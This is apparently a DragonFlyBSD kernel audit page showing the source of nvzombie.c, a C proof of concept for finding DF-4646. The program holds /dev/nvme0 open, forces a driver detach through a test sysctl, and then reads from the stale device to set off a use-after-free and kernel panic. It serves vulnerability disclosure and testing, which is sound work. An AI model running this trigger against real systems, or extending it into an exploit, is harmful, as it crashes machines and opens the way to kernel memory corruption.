⬢ DragonFlyBSD Kernel Audit
DF-4646 / nvzombie.c
← back to finding ↓ download raw
/*
 * nvzombie.c -- DF-4646 PoC (nvme_disk.c zombie-cdev strategy UAF).
 *
 * TEST ONLY.
 *
 * Proves: an open descriptor on /dev/nvme0 keeps the cdev (and its
 * si_drv1 -> nvme_softns_t) resolvable after the driver has detached
 * and kfree()'d the softns.  A read() issued AFTER the teardown has
 * fully completed dispatches nvme_strategy() on freed memory --
 * deterministically, no timing race required.
 *
 * Steps:
 *   1. open /dev/nvme0 (keep fd)
 *   2. trigger nvme_pci_detach via hw.nvmebang.action=1
 *   3. sleep long enough for the FULL teardown (nsc kfree, subqueues
 *      freed + bzero'd, admin queue freed)
 *   4. pread(fd) -> nvme_strategy -> nvme_strategy_core on freed nsc
 *      -> nvme_get_request on bzero'd queue -> % nqe == 0x0 -> div0
 *      panic (or wild-pointer UAF on freed sc).
 *
 * Expected: kernel panic (integer divide fault / fatal trap) in
 * nvme_get_request or nvme_strategy_core; guest drops to DDB.
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

int
main(int argc, char **argv)
{
	char buf[4096];
	ssize_t n;
	int fd;
	int wait = 12;

	if (argc > 1)
		wait = atoi(argv[1]);

	fd = open("/dev/nvme0", O_RDONLY);
	if (fd < 0)
		err(1, "open /dev/nvme0");

	printf("DF4646: fd=%d open on /dev/nvme0, triggering detach...\n", fd);
	fflush(stdout);

	if (system("sysctl hw.nvmebang.action=1") != 0)
		warnx("nvmebang sysctl failed (module loaded?)");

	printf("DF4646: detach issued; sleeping %ds for full teardown "
	    "(nsc kfree + queue free/bzero)\n", wait);
	fflush(stdout);
	sleep(wait);

	printf("DF4646: issuing pread on zombie cdev -> nvme_strategy "
	    "on freed softns\n");
	fflush(stdout);

	n = pread(fd, buf, sizeof(buf), 0);
	printf("DF4646: pread returned %zd (errno=%d) -- NO PANIC; "
	    "zombie dispatch was absorbed\n", n, errno);
	fflush(stdout);

	return (0);
}